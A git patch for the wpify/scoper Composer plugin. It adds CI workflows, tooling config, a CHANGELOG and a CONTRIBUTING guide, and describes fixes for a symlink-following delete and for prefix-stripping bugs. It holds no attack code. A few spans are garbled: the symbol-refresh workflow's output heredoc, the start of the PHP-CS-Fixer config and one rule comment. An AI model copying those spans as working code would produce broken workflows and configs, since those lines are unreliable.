From a0b63b019c5c7fcfc9c86c6b5f23014b9767f7e1 Mon Sep 17 00:00:00 2001 From: Daniel Mejta Date: Wed, 29 Jul 2026 13:28:33 +0200 Subject: [PATCH 1/6] Remediate the audit: data-safety, scoping correctness, execution model, tests Implements all four phases of the codebase audit in docs/improvements/. Every fix was verified end to end against a reproduction fixture, and the result was exercised against 22 consumer projects before landing. Data safety (critical) - remove() no longer follows symlinks. Composer symlinks `path` repositories into vendor/ by default, and the recursive delete walked through them into the developer's real working copy. Reproduced: the released 3.2.21 deletes the source tree, this build leaves it intact. - The deps/ swap is now atomic. The old tree is moved aside first and restored if the rename fails, with a copy+verify fallback for cross-device moves. The backup lives in the temp dir, not next to deps/, because several projects point `folder` inside vendor/ where a stray .bak ships to wordpress.org. Scoping correctness - The un-prefixing patcher is anchored. It matched substrings with no right-hand boundary, so any scoped symbol merely starting with an excluded name (WP, PO, MO, ftp, wpdb...) was silently de-prefixed into a dangling reference. Matching is now exact for exclude-classes and segment-wise for exclude-namespaces, so children of an excluded namespace still resolve. - The lookup tables are built once instead of per file, behind a fast guard. - The autoload_static.php rewrite is scoped to the $files array. - Symbol extraction walks the whole AST: symbols declared inside function bodies, top-level const, class_alias() targets and else/try/switch branches were all missed. WordPress gains 116 symbols; wp-cli sheds 28 test-only ones. Generated files now carry source and version provenance. Execution model - The nested Composer runs as a subprocess. It was built in-process, and Symfony's autoExit meant run() called exit(): the outer install never resumed, so its security audit, its own post-install-cmd and any later plugin were all skipped. Verified: an outer post-install-cmd that never fired on 3.2.21 now runs. - The nested exit code propagates, so a failed scoping run fails the build instead of reporting success. - Re-entrancy is guarded explicitly rather than by the exit() side effect. - The user's composer-deps.json is read, never rewritten. The derived manifest and the injected script commands are gone, along with the %%placeholder%% templating that broke on Windows paths. - Adds a real `composer wpify-scoper install|update [--no-dev]` command via Capable/CommandProvider. --no-dev was unreachable, so dev dependencies were always scoped and shipped. - Plugin is decomposed into Configuration, Scoper, ScoperConfigFactory, ComposerRunner, ScopedTreeInstaller and SymbolUnprefixer. Configuration - Requires PHP ^8.2: the declared ^8.1 was unsatisfiable against php-scoper and 8.1 is EOL. - A missing or malformed prefix is now an error instead of silence, but only when extra.wpify-scoper is present. The plugin is installed globally, so an unconditional check would break every unrelated project on the machine. - Drops the built-in plugin-update-checker symbol list, which held only dead PUC v4 names. The $checkerClass patcher is deliberately kept: it compensates for php-scoper prefixing PUC's string-literal registry keys, and removing it fatals every plugin using wpify/updates. Its VCS branch is now patched too, fixing GitHub/GitLab-hosted update checks in scoped builds. Foundation - 163 unit and golden-file tests, 17 end-to-end tests, PHPStan level 9 clean. - CI across PHP 8.2-8.5, plus a scheduled symbol refresh guarded against silent count drops. - .gitattributes, CHANGELOG, CONTRIBUTING, README corrections. --- .editorconfig | 28 + .gitattributes | 27 + .github/workflows/ci.yml | 125 + .github/workflows/refresh-symbols.yml | 82 + .gitignore | 6 + .php-cs-fixer.dist.php | 84 + CHANGELOG.md | 116 + CONTRIBUTING.md | 159 + README.md | 152 +- bin/wpify-scoper | 79 +- composer.json | 49 +- config/scoper.inc.php | 109 +- docs/improvements/01-composer-plugin-api.md | 1174 ++ docs/improvements/02-bugs-and-robustness.md | 1539 +++ .../03-symbols-and-scoper-config.md | 1035 ++ docs/improvements/04-quality-tooling-dx.md | 950 ++ .../consumers/A-bedrock-alfamarka-group.md | 528 + .../consumers/B-bedrock-delife-group.md | 452 + .../C-plugin-update-checker-group.md | 504 + .../consumers/D-vendor-scoped-group.md | 557 + .../consumers/E-legacy-php-group.md | 513 + .../consumers/F-monorepo-group.md | 402 + docs/improvements/index.html | 1326 ++ phpstan.neon | 27 + phpunit.xml.dist | 42 + scripts/SymbolCollector.php | 116 + scripts/SymbolExtractor.php | 232 + scripts/extract-symbols.php | 175 +- scripts/postinstall.php | 67 - scripts/symbol-guard.php | 118 + src/CommandProvider.php | 25 + src/ComposerRunner.php | 39 + src/Configuration.php | 187 + src/Plugin.php | 330 +- src/ProcessComposerRunner.php | 125 + src/ScopedTreeInstaller.php | 297 + src/Scoper.php | 249 + src/ScoperCommand.php | 60 + src/ScoperConfigFactory.php | 271 + src/SymbolUnprefixer.php | 117 + symbols/action-scheduler.php | 218 +- symbols/plugin-update-checker.php | 37 - symbols/woocommerce.php | 4027 +++--- symbols/wordpress.php | 10815 ++++++++-------- symbols/wp-cli.php | 157 +- tests/Integration/ScopingPipelineTest.php | 287 + tests/Unit/ConfigurationTest.php | 240 + tests/Unit/PluginTest.php | 136 + tests/Unit/ScoperConfigFactoryTest.php | 189 + tests/Unit/SymbolExtractorTest.php | 223 + tests/Unit/SymbolUnprefixerTest.php | 232 + tests/bootstrap.php | 3 + tests/fixtures/e2e/composer-deps.json | 21 + tests/fixtures/e2e/composer.json | 21 + tests/fixtures/e2e/pkg/acme-lib/composer.json | 12 + .../e2e/pkg/acme-lib/pobox/Mailer.php | 12 + .../e2e/pkg/acme-lib/src/Consumer.php | 28 + .../fixtures/e2e/pkg/acme-lib/src/Greeter.php | 31 + .../e2e/pkg/acme-lib/src/Integration.php | 28 + .../fixtures/e2e/pkg/acme-lib/src/POStuff.php | 12 + .../e2e/pkg/acme-lib/src/WPSEO_Utils.php | 13 + .../e2e/pkg/acme-lib/src/functions.php | 11 + .../fixtures/e2e/pkg/acme-lib/wpseo/Utils.php | 14 + tests/fixtures/symbols-expected.php | 50 + .../symbols-input/braced-namespaces.php | 29 + .../conditional-declarations.php | 56 + .../symbols-input/global-declarations.php | 48 + tests/fixtures/symbols-input/namespaced.php | 33 + tests/fixtures/symbols-input/not-php.txt | 3 + .../skipped/tests/class-test-case.php | 14 + .../symbols-input/skipped/vendor/acme/lib.php | 8 + 71 files changed, 21322 insertions(+), 8159 deletions(-) create mode 100644 .editorconfig create mode 100644 .gitattributes create mode 100644 .github/workflows/ci.yml create mode 100644 .github/workflows/refresh-symbols.yml create mode 100644 .php-cs-fixer.dist.php create mode 100644 CHANGELOG.md create mode 100644 CONTRIBUTING.md create mode 100644 docs/improvements/01-composer-plugin-api.md create mode 100644 docs/improvements/02-bugs-and-robustness.md create mode 100644 docs/improvements/03-symbols-and-scoper-config.md create mode 100644 docs/improvements/04-quality-tooling-dx.md create mode 100644 docs/improvements/consumers/A-bedrock-alfamarka-group.md create mode 100644 docs/improvements/consumers/B-bedrock-delife-group.md create mode 100644 docs/improvements/consumers/C-plugin-update-checker-group.md create mode 100644 docs/improvements/consumers/D-vendor-scoped-group.md create mode 100644 docs/improvements/consumers/E-legacy-php-group.md create mode 100644 docs/improvements/consumers/F-monorepo-group.md create mode 100644 docs/improvements/index.html create mode 100644 phpstan.neon create mode 100644 phpunit.xml.dist create mode 100644 scripts/SymbolCollector.php create mode 100644 scripts/SymbolExtractor.php delete mode 100644 scripts/postinstall.php create mode 100644 scripts/symbol-guard.php create mode 100644 src/CommandProvider.php create mode 100644 src/ComposerRunner.php create mode 100644 src/Configuration.php create mode 100644 src/ProcessComposerRunner.php create mode 100644 src/ScopedTreeInstaller.php create mode 100644 src/Scoper.php create mode 100644 src/ScoperCommand.php create mode 100644 src/ScoperConfigFactory.php create mode 100644 src/SymbolUnprefixer.php delete mode 100644 symbols/plugin-update-checker.php create mode 100644 tests/Integration/ScopingPipelineTest.php create mode 100644 tests/Unit/ConfigurationTest.php create mode 100644 tests/Unit/PluginTest.php create mode 100644 tests/Unit/ScoperConfigFactoryTest.php create mode 100644 tests/Unit/SymbolExtractorTest.php create mode 100644 tests/Unit/SymbolUnprefixerTest.php create mode 100644 tests/bootstrap.php create mode 100644 tests/fixtures/e2e/composer-deps.json create mode 100644 tests/fixtures/e2e/composer.json create mode 100644 tests/fixtures/e2e/pkg/acme-lib/composer.json create mode 100644 tests/fixtures/e2e/pkg/acme-lib/pobox/Mailer.php create mode 100644 tests/fixtures/e2e/pkg/acme-lib/src/Consumer.php create mode 100644 tests/fixtures/e2e/pkg/acme-lib/src/Greeter.php create mode 100644 tests/fixtures/e2e/pkg/acme-lib/src/Integration.php create mode 100644 tests/fixtures/e2e/pkg/acme-lib/src/POStuff.php create mode 100644 tests/fixtures/e2e/pkg/acme-lib/src/WPSEO_Utils.php create mode 100644 tests/fixtures/e2e/pkg/acme-lib/src/functions.php create mode 100644 tests/fixtures/e2e/pkg/acme-lib/wpseo/Utils.php create mode 100644 tests/fixtures/symbols-expected.php create mode 100644 tests/fixtures/symbols-input/braced-namespaces.php create mode 100644 tests/fixtures/symbols-input/conditional-declarations.php create mode 100644 tests/fixtures/symbols-input/global-declarations.php create mode 100644 tests/fixtures/symbols-input/namespaced.php create mode 100644 tests/fixtures/symbols-input/not-php.txt create mode 100644 tests/fixtures/symbols-input/skipped/tests/class-test-case.php create mode 100644 tests/fixtures/symbols-input/skipped/vendor/acme/lib.php diff --git a/.editorconfig b/.editorconfig new file mode 100644 index 0000000..d127b27 --- /dev/null +++ b/.editorconfig @@ -0,0 +1,28 @@ +root = true + +[*] +charset = utf-8 +end_of_line = lf +insert_final_newline = true +trim_trailing_whitespace = true +indent_style = tab +indent_size = 4 + +[*.{json,yml,yaml,neon,dist,md}] +indent_style = space +indent_size = 2 + +[*.md] +# Two trailing spaces are a hard line break in Markdown. +trim_trailing_whitespace = false + +[symbols/*.php] +# Generated by scripts/extract-symbols.php. Anything that reformats these files starts a diff +# fight with the generator, and every regeneration becomes a 300 KB review. +trim_trailing_whitespace = false +insert_final_newline = true + +[tests/fixtures/**] +# Fixtures are byte-for-byte inputs to golden-file assertions. Reformatting one is a test failure. +trim_trailing_whitespace = false +insert_final_newline = false diff --git a/.gitattributes b/.gitattributes new file mode 100644 index 0000000..5100efb --- /dev/null +++ b/.gitattributes @@ -0,0 +1,27 @@ +# Keep dist archives to what the plugin actually loads at runtime. +# +# Everything under /scripts is development-only: extract-symbols.php and the SymbolExtractor +# behind it regenerate symbols/*.php from the WordPress sources, and nothing in src/, bin/ or +# config/ references them. (This was not always true - scripts/postinstall.php used to be read +# at runtime. Check again before adding a file here.) + +/.editorconfig export-ignore +/.gitattributes export-ignore +/.github export-ignore +/.gitignore export-ignore +/.php-cs-fixer.dist.php export-ignore +/docs export-ignore +/phpstan.neon export-ignore +/phpunit.xml.dist export-ignore +/scripts export-ignore +/tests export-ignore + +# Generated symbol tables. +# +# `linguist-generated=true` collapses them in GitHub pull request diffs, which is what makes the +# scheduled regeneration PRs reviewable at all - a WordPress release moves thousands of lines. +# `-diff` keeps git itself from trying to produce a textual diff of a 300 KB var_export dump. +/symbols/*.php linguist-generated=true -diff + +# The golden files and scoped-output fixtures are compared byte for byte. +/tests/fixtures/** -text diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml new file mode 100644 index 0000000..4f31a4a --- /dev/null +++ b/.github/workflows/ci.yml @@ -0,0 +1,125 @@ +name: CI + +on: + push: + branches: [ master ] + pull_request: + workflow_dispatch: + +permissions: + contents: read + +concurrency: + group: ci-${{ github.ref }} + cancel-in-progress: true + +jobs: + static: + name: Validate and analyse + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + + - uses: shivammathur/setup-php@v2 + with: + php-version: '8.4' + coverage: none + tools: composer:v2 + + - name: Validate composer.json + run: composer validate --strict + + - uses: ramsey/composer-install@v3 + + - name: PHPStan + run: vendor/bin/phpstan analyse --no-progress --error-format=github + + - name: Code style + run: vendor/bin/php-cs-fixer check --diff --show-progress=none + + test: + name: Unit and golden files (PHP ${{ matrix.php }}, ${{ matrix.dependencies }}) + runs-on: ubuntu-latest + strategy: + fail-fast: false + matrix: + # The supported window: php-scoper requires PHP 8.2+, and 8.2 leaves security support on + # 2026-12-31. Drop 8.2 from the matrix and from composer.json's `require` in one PR. + php: [ '8.2', '8.3', '8.4', '8.5' ] + dependencies: [ 'highest' ] + include: + # composer/composer spans a wide API surface across ^2.6 and this plugin touches it + # directly, so the oldest resolvable set gets one job of its own. + - php: '8.2' + dependencies: 'lowest' + steps: + - uses: actions/checkout@v4 + + - uses: shivammathur/setup-php@v2 + with: + php-version: ${{ matrix.php }} + coverage: none + tools: composer:v2 + + - uses: ramsey/composer-install@v3 + with: + dependency-versions: ${{ matrix.dependencies }} + + - name: Unit and golden-file suite + run: vendor/bin/phpunit --testsuite=unit + + integration: + name: End-to-end scoping + runs-on: ubuntu-latest + # Spawns Composer and php-scoper against the offline fixture. One PHP version is enough: what + # it exercises is the pipeline, and the unit matrix already covers the language surface. + steps: + - uses: actions/checkout@v4 + + - uses: shivammathur/setup-php@v2 + with: + php-version: '8.4' + coverage: none + tools: composer:v2 + + - uses: ramsey/composer-install@v3 + + - name: Integration suite + run: vendor/bin/phpunit --testsuite=integration + + smoke: + name: Install into a scratch project + runs-on: ubuntu-latest + # The only job that exercises Composer actually loading the plugin: an exception thrown from + # activate() or a broken `extra.class` is invisible to every other tier. + steps: + - uses: actions/checkout@v4 + with: + path: scoper + + - uses: shivammathur/setup-php@v2 + with: + php-version: '8.4' + coverage: none + tools: composer:v2 + + - name: Require the plugin from a path repository and scope a dependency + run: | + set -euo pipefail + mkdir -p scratch && cd scratch + composer init --no-interaction --name=test/scratch --require-dev=psr/log:^3.0 --stability=stable + composer config repositories.scoper path "$GITHUB_WORKSPACE/scoper" + composer config --no-plugins allow-plugins.wpify/scoper true + composer config extra.wpify-scoper.prefix 'Test\Deps' + printf '{"require":{"psr/log":"^3.0"}}\n' > composer-deps.json + composer require wpify/scoper:@dev --no-interaction + + test -f deps/scoper-autoload.php + grep -q 'namespace Test\\\\Deps\\\\Psr\\\\Log;' deps/psr/log/src/LoggerInterface.php + # The workspace must not survive the run. + ! compgen -G 'tmp-*' > /dev/null + + - name: The scoped tree loads + run: | + cd scratch + php -r 'require "deps/scoper-autoload.php"; exit(interface_exists("Test\\Deps\\Psr\\Log\\LoggerInterface") ? 0 : 1);' diff --git a/.github/workflows/refresh-symbols.yml b/.github/workflows/refresh-symbols.yml new file mode 100644 index 0000000..78af714 --- /dev/null +++ b/.github/workflows/refresh-symbols.yml @@ -0,0 +1,82 @@ +name: Refresh symbols + +# The value of this package is an up-to-date database of the symbols that must stay global. Until +# now that database was refreshed whenever somebody remembered, so a WordPress or WooCommerce +# release shipped broken scoping to every consumer until it was noticed. + +on: + schedule: + # Mondays 04:00 UTC. WordPress and WooCommerce both release on a Tuesday cadence, so this + # picks up last week's release with a working week left to review it. + - cron: '0 4 * * 1' + workflow_dispatch: + +permissions: + contents: read + +jobs: + refresh: + name: Regenerate the symbol lists + runs-on: ubuntu-latest + permissions: + contents: write + pull-requests: write + steps: + - uses: actions/checkout@v4 + + - uses: shivammathur/setup-php@v2 + with: + php-version: '8.4' + coverage: none + tools: composer:v2 + + - name: Snapshot the current counts + run: | + composer install --no-interaction --no-progress + php scripts/symbol-guard.php snapshot "${RUNNER_TEMP}/symbol-counts.json" + + - name: Pull the latest WordPress, WooCommerce, Action Scheduler and WP-CLI + run: composer update --no-interaction --no-progress + + - name: Record the source versions + id: versions + run: | + { + echo 'summary<> "$GITHUB_OUTPUT" + + # Non-zero on a parse failure, which is how a truncated list gets produced in the first place. + - name: Regenerate + run: composer extract + + - name: Refuse a silent drop in symbol counts + run: php scripts/symbol-guard.php compare "${RUNNER_TEMP}/symbol-counts.json" 1.0 + + - name: The suites still pass against the new lists + run: | + vendor/bin/phpunit --testsuite=unit + vendor/bin/phpunit --testsuite=integration + + - uses: peter-evans/create-pull-request@v7 + with: + branch: chore/refresh-symbols + title: 'chore: refresh the WordPress and WooCommerce symbol lists' + commit-message: 'chore: refresh symbol lists' + labels: symbols + delete-branch: true + body: | + Regenerated by the scheduled `Refresh symbols` workflow. + + Source packages: + + ${{ steps.versions.outputs.summary }} + + The symbol counts were checked against the previous lists: a drop of more than 1% in + any category fails the job rather than opening this pull request, because a truncated + list silently scopes symbols that have to stay global. + + `symbols/*.php` is marked `linguist-generated`, so GitHub collapses the diff. Review + the counts in the job log rather than the file contents. diff --git a/.gitignore b/.gitignore index 785d553..f80b100 100644 --- a/.gitignore +++ b/.gitignore @@ -3,3 +3,9 @@ /sources/ /vendor/ /composer.lock + +# Tooling caches and local overrides. +/.phpunit.cache/ +/.php-cs-fixer.cache +/phpstan.neon.local +/phpunit.xml diff --git a/.php-cs-fixer.dist.php b/.php-cs-fixer.dist.php new file mode 100644 index 0000000..956535d --- /dev/null +++ b/.php-cs-fixer.dist.php @@ -0,0 +1,84 @@ +in( array( __DIR__ . '/src', __DIR__ . '/scripts', __DIR__ . '/config', __DIR__ . '/tests' ) ) + ->append( array( __DIR__ . '/bin/wpify-scoper' ) ) + // Generated symbol tables: reformatting them starts a fight with scripts/extract-symbols.php. + ->exclude( array( 'fixtures' ) ) + ->notPath( 'scoper.config.php' ); + +return ( new PhpCsFixer\Config() ) + ->setFinder( $finder ) + ->setUsingCache( true ) + ->setCacheFile( __DIR__ . '/.php-cs-fixer.cache' ) + ->setIndent( "\t" ) + ->setLineEnding( "\n" ) + ->setRiskyAllowed( true ) + ->setRules( array( + // --- whitespace and layout, matched to what the files already do --- + 'encoding' => true, + 'full_opening_tag' => true, + 'line_ending' => true, + 'indentation_type' => true, + 'no_trailing_whitespace' => true, + 'no_trailing_whitespace_in_comment' => true, + 'single_blank_line_at_eof' => true, + 'no_whitespace_in_blank_line' => true, + // Deliberately without `curly_brace_block`: the blank line after a class's opening brace + // is part of the house style throughout src/. + 'no_extra_blank_lines' => array( 'tokens' => array( 'square_brace_block', 'parenthesis_brace_block' ) ), + 'blank_line_after_namespace' => true, + 'no_spaces_after_function_name' => true, + 'no_closing_tag' => true, + + // --- imports --- + 'no_unused_imports' => true, + 'ordered_imports' => array( 'sort_algorithm' => 'alpha', 'imports_order' => array( 'class', 'function', 'const' ) ), + 'single_import_per_statement' => true, + 'no_leading_import_slash' => true, + + // --- declarations --- + 'declare_strict_types' => false, // Written as ` true, + 'lowercase_static_reference' => true, + 'constant_case' => array( 'case' => 'lower' ), + 'magic_constant_casing' => true, + 'native_function_casing' => true, + 'short_scalar_cast' => true, + 'visibility_required' => array( 'elements' => array( 'property', 'method', 'const' ) ), + 'return_type_declaration' => array( 'space_before' => 'none' ), + + // --- comparisons: the codebase puts the constant on the left --- + 'yoda_style' => array( + 'equal' => true, + 'identical' => true, + 'less_and_greater' => null, // `$i < 10` reads better than `10 > $i`; leave those alone. + ), + + // --- docblocks --- + 'phpdoc_indent' => true, + 'phpdoc_trim' => true, + 'phpdoc_scalar' => true, + 'phpdoc_no_useless_inheritdoc' => true, + 'no_empty_phpdoc' => true, + 'no_empty_comment' => true, + + // --- deliberately NOT enabled --- + // 'array_syntax' => the codebase uses array(), and php-scoper configs are copied + // verbatim into user projects where array() reads fine. + // 'braces'/'curly_braces' => would move `) {` and reflow every control structure. + // 'binary_operator_spaces' => the aligned `=` blocks are intentional and readable. + ) ); diff --git a/CHANGELOG.md b/CHANGELOG.md new file mode 100644 index 0000000..06287b9 --- /dev/null +++ b/CHANGELOG.md @@ -0,0 +1,116 @@ +# Changelog + +All notable changes to this project are documented here. + +The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), and this project +adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). + +Releases before 4.0.0 have no entries here; the project had no changelog at the time. See the +[commit history](https://github.com/wpify/scoper/commits/master) for those. + +## [Unreleased] + +The first release with a changelog. It is a major version because the PHP requirement rises and +two long-standing behaviours change, but nothing in a correctly configured project needs editing +to upgrade. + +**Anything that produces scoped output changed in this release. Re-run the scoper and test the +result before shipping it** — several of the fixes below alter which symbols end up prefixed. + +### Fixed + +- **Deleting through a symlink destroyed the target.** Replacing the deps folder removed the old + one with a recursive delete that used `is_dir()`/`is_file()`, both of which follow symlinks. A + project whose `deps/` was a symlink — or whose scoped tree contained one — had the link's target + deleted instead of the link. The whole tree walk now checks `is_link()` first and never follows. +- **A failed swap could leave a project with no dependencies at all.** The old tree was deleted + before the new one was in place. It is now moved aside into the temporary workspace and restored + if the move fails, so a full disk or a permissions error can no longer lose the previous build. +- **Prefix stripping was unanchored and mangled third-party code.** The patcher used a plain + `str_replace()` per excluded symbol, so any vendor namespace or class whose name *started* with + an excluded WordPress symbol had the prefix stripped off it and was put straight back into the + global namespace — the collision this package exists to prevent. `WPSEO\Utils` (via the WordPress + class `WP`) and `POBox\Mailer` (via `PO`) are real examples. Matching is now anchored on both + sides and on namespace segment boundaries. +- **Excluded namespaces only matched exactly.** `Automattic\WooCommerce` in `exclude-namespaces` + did not cover `Automattic\WooCommerce\Internal\...`, so HPOS classes and + `PHPMailer\PHPMailer\PHPMailer` came out prefixed and fatalled at runtime. A namespace exclusion + now covers its whole subtree, still on a segment boundary: `Foo\Bar` never matches `Foo\Barbecue`. +- **An empty or unrecognised `globals` list crashed mid-scope.** `exclude-classes` and + `exclude-namespaces` were only defined as a side effect of merging a symbol list, so a project + that listed none got a `TypeError` from inside a php-scoper patcher. Both keys are now always + present. +- **A missing or invalid `prefix` silently did nothing.** `composer install` exited 0, no `deps/` + folder appeared, and there was no message. It is now a configuration error with an actionable + message, and the prefix is validated as a PHP namespace. +- **`scoper.custom.php` was silently ignored in most installations.** The project root was located + by looking for the literal string `vendor/wpify/scoper` in the plugin's own path, which fails for + a custom `vendor-dir`, a symlinked path repository and a global install. The root is now taken + from Composer, and the plugin reports which customization file it loaded. +- **`composer-deps.json` was rewritten on every run.** A `scripts` block full of absolute host + paths was injected into the user's file, clobbering anything already there — a hand-maintained + `pre-autoload-dump` in particular. The manifest is now only ever read. +- **A `tmp-*` directory was left in the project root whenever anything failed.** Cleanup lived in a + generated child-process script, so it never ran on an error. It is now a `finally`. +- **`exit;` inside the plugin killed the host Composer process** with status 0 and no output, + indistinguishable from success. Failures now throw with a message. +- **Constants declared inside function bodies were missing from the symbol lists**, which is where + WordPress declares most of them (`wp_initial_constants()` and friends). Also fixed: classes in + `else` branches, `class_alias()` targets, and braced `namespace { }` blocks. +- **Nothing was ever printed.** The plugin captured Composer's `IOInterface` and never used it, so + every failure mode above presented as "nothing happened". It now reports what it is doing, and + propagates verbosity, colour and interactivity to the processes it spawns. + +### Changed + +- **Requires PHP 8.2** (was `^8.1`, which was unsatisfiable: `wpify/php-scoper` requires `^8.2`, so + a PHP 8.1 user got a resolver error naming a transitive package instead of a clear message). +- **The nested install and php-scoper run as subprocesses** instead of in-process + `Composer\Console\Application` calls, which terminated the host process on completion because + Symfony's console application defaults to `autoExit`. The subprocess uses the same PHP binary and + the same Composer binary as the outer run, so the scoped set can never be resolved against a + different PHP version than the one that resolved your `composer.json`. +- **Symbol lists regenerated** from current WordPress, WooCommerce, Action Scheduler and WP-CLI, + and now carry a header recording which package version they came from. +- **Symbol lists are rendered as plain lists** rather than `var_export()` output with explicit + integer keys, so adding one symbol no longer renumbers every line below it. +- Unknown entries in `extra.wpify-scoper.globals` now produce a warning naming the valid values. + They used to be ignored silently, so `"wordpres"` produced a build that broke at runtime. + +### Added + +- **`composer wpify-scoper install|update [--no-dev]`**, a real Composer command. The plugin + previously declared a `CommandProvider` capability pointing at a class that did not implement it, + which would have thrown on every `composer list` had it ever been reached. +- **`--no-dev`.** The `*_NO_DEV_CMD` code paths existed since 2023 but nothing could emit them: + `bin/wpify-scoper` mapped only `install` and `update`, and Composer never fires those event + names. The flag now works, and `post-install-cmd`/`post-update-cmd` inherit the dev mode of the + run that triggered them. +- A test suite: unit, golden-file and end-to-end tiers, run in CI across PHP 8.2–8.5. +- PHPStan (level 9, `phpstan-strict-rules`, no baseline), a PHP-CS-Fixer config and an + `.editorconfig`. +- A scheduled workflow that regenerates the symbol lists when WordPress or WooCommerce release, and + fails rather than opening a pull request if any symbol count drops — a silently truncated list is + how a broken extractor would otherwise ship. +- `CONTRIBUTING.md`, and a troubleshooting section in the README. + +### Removed + +- **`plugin-update-checker` as a `globals` entry.** The shipped list only ever held dead PUC v4 + class names, under a key the plugin neutralises anyway; PUC is now scoped like every other + dependency. Listing the name is a warning and a no-op, not an error, so existing projects keep + installing — remove the line at your convenience. + **The `$checkerClass` patcher is retained**: `PucFactory::buildUpdateChecker()` builds its + registry lookup key from a variable, which php-scoper does not prefix, and both the JSON and the + VCS branch still have to be fixed up by hand or update checking fails with an `E_USER_ERROR`. +- `extra.textdomain` from this package's own `composer.json` — leftover debris referencing an + unrelated package, inert but shipped to every consumer. + +### Deprecated + +- **`bin/wpify-scoper`.** Use `composer wpify-scoper install|update` instead. The binary still + works and prints a notice; it will be removed in a future major. +- The `Plugin::SCOPER_*_CMD` constants and `Plugin::path()`, kept only because they have always + been public. + +[Unreleased]: https://github.com/wpify/scoper/compare/3.2.21...HEAD diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md new file mode 100644 index 0000000..2633b19 --- /dev/null +++ b/CONTRIBUTING.md @@ -0,0 +1,159 @@ +# Contributing + +Thanks for helping out. This document covers the two things that are not obvious from the code: +what `sources/` is, and how the symbol lists are produced. + +## Getting set up + +```bash +git clone https://github.com/wpify/scoper.git +cd scoper +composer install +``` + +`composer install` downloads about 160 MB into `sources/`. That is expected — see below. + +## Why `require-dev` contains WordPress + +`require-dev` is not test tooling. Most of it is the **input data for symbol extraction**: + +| Package | What it is for | +|---|---| +| `johnpbloch/wordpress` | WordPress core, installed into `sources/wordpress` | +| `wpackagist-plugin/woocommerce` | WooCommerce, installed into `sources/plugin-woocommerce` | +| `woocommerce/action-scheduler` | Action Scheduler, installed into `sources/plugin-action-scheduler` | +| `wp-cli/wp-cli` | WP-CLI, read from `vendor/wp-cli/wp-cli` | +| `nikic/php-parser` | Parses all of the above | +| `jetbrains/phpstorm-stubs` | Editor support while working on the extractor | + +The install locations come from `extra.wordpress-install-dir` and `extra.installer-paths` in +`composer.json`. `sources/` and `vendor/` are both git-ignored and never ship. + +None of this reaches consumers: Composer ignores a dependency's `require-dev`, `repositories`, +`config`, `minimum-stability` and `scripts`. The only sections of this package's `composer.json` +that affect a consumer are `require` and `extra.class`. + +The rest of `require-dev` — PHPUnit, PHPStan, PHP-CS-Fixer — is what you would expect. + +## The symbol lists + +`symbols/*.php` is the point of this package: the database of names that must **not** be moved into +the consumer's prefix, because WordPress declares them and the consumer's plugin calls them. + +They are generated. Do not edit them by hand — the header says so, and the next regeneration would +discard your change. + +```bash +composer update # pull the current WordPress / WooCommerce / Action Scheduler / WP-CLI +composer extract # rewrite symbols/*.php from them +``` + +`composer extract` exits non-zero if any source file failed to parse. Take that seriously: a parse +failure drops symbols, a symbol missing from the WordPress list gets scoped, and the consumer's +site then fatals on a call to an undefined function. That is the worst failure this project has. + +Before opening a regeneration pull request, check the counts did not collapse: + +```bash +php scripts/symbol-guard.php snapshot /tmp/before.json +composer extract +php scripts/symbol-guard.php compare /tmp/before.json 1.0 +``` + +The scheduled `Refresh symbols` workflow does exactly this every Monday and refuses to open a pull +request when a count drops by more than 1%. + +`symbols/*.php` is marked `linguist-generated` in `.gitattributes`, so GitHub collapses the diff. +Review the counts, not the lines. + +### How extraction works + +`scripts/SymbolExtractor.php` walks every PHP file in a source tree and records what it declares. +It is a full AST traversal rather than a top-level scan, because WordPress declares symbols in +every shape PHP allows: classes behind `class_exists()` guards, classes in `else` branches, +`define()` calls several levels inside a function body, `class_alias()` targets that exist nowhere +else. Files under `vendor/`, `wp-content/`, `tests/`, `spec/`, `features/` and `.github/` are +skipped — their symbols are never loaded in a WordPress request, so excluding them would only stop +the consumer's own dependencies from using those names. + +`scripts/extract-symbols.php` is a thin CLI over that class. Everything under `scripts/` is +development-only and is `export-ignore`d from dist archives. + +## Tests + +```bash +composer test # unit + golden-file, milliseconds +composer test:integration # end-to-end, spawns Composer and php-scoper +composer test:all +``` + +Three tiers: + +- **`tests/Unit/`** — pure logic. `ConfigurationTest` and `ScoperConfigFactoryTest` cover the + config surface; `SymbolUnprefixerTest` covers the patcher that decides which symbols come back + out of the prefix, which is where a mistake silently breaks somebody's production site. +- **The golden-file test** — `SymbolExtractorTest` runs the extractor over + `tests/fixtures/symbols-input/` and compares the rendered output to + `tests/fixtures/symbols-expected.php`. When you change the extractor deliberately: + + ```bash + UPDATE_SNAPSHOTS=1 vendor/bin/phpunit --filter golden + ``` + + Then read the diff. That diff is the whole value of the test. +- **`tests/Integration/`** — marked `#[Group('integration')]` and excluded from the default suite. + Runs the real pipeline against `tests/fixtures/e2e/`, a self-contained path repository, and + asserts on the scoped bytes. It never touches the network: `packagist.org` is disabled in the + fixture's manifest. + +If you add a fixture package, keep it offline. A test that resolves from Packagist is a test that +fails on a train. + +## Static analysis and style + +```bash +composer analyse # PHPStan level 9 + phpstan-strict-rules, no baseline +composer cs # check +composer cs:fix # fix +``` + +There is no baseline, and there should not be one. If PHPStan finds something, it found something. + +### On the code style + +The codebase is written in a WordPress-ish dialect: tabs, a space inside every bracket +(`function foo( $bar ) {`), `array()` rather than `[]`, Yoda comparisons. That is unusual for a +Composer plugin, whose reviewers come from the PSR world and whose entire dependency surface +(`composer/composer`, `symfony/console`) is PSR-12. + +`.php-cs-fixer.dist.php` enforces the style that is actually there rather than replacing it. It +covers imports, whitespace, casing, Yoda comparisons and docblocks, and deliberately leaves brace +placement, bracket spacing and array syntax alone, because PHP-CS-Fixer cannot express the +WordPress variants of those rules. + +**What a PSR-12 migration would cost, if anyone wants to do it:** essentially every line of every +PHP file is reformatted — bracket spacing alone touches almost all of them. `git blame` on `src/` +becomes useless unless the migration commit is added to `.git-blame-ignore-revs`, and every open +branch conflicts. The offsetting argument is that PHP-CS-Fixer's `@PHP82Migration` ruleset performs +the `array()` → `[]` conversion and several other modernisations mechanically, so the reformat +commit and the modernise commit can be the same commit — you pay the blame cost once. If you do +it: one isolated commit, no logic changes, and add the SHA to `.git-blame-ignore-revs` in the same +pull request. + +## Before opening a pull request + +```bash +composer validate --strict +composer analyse +composer test 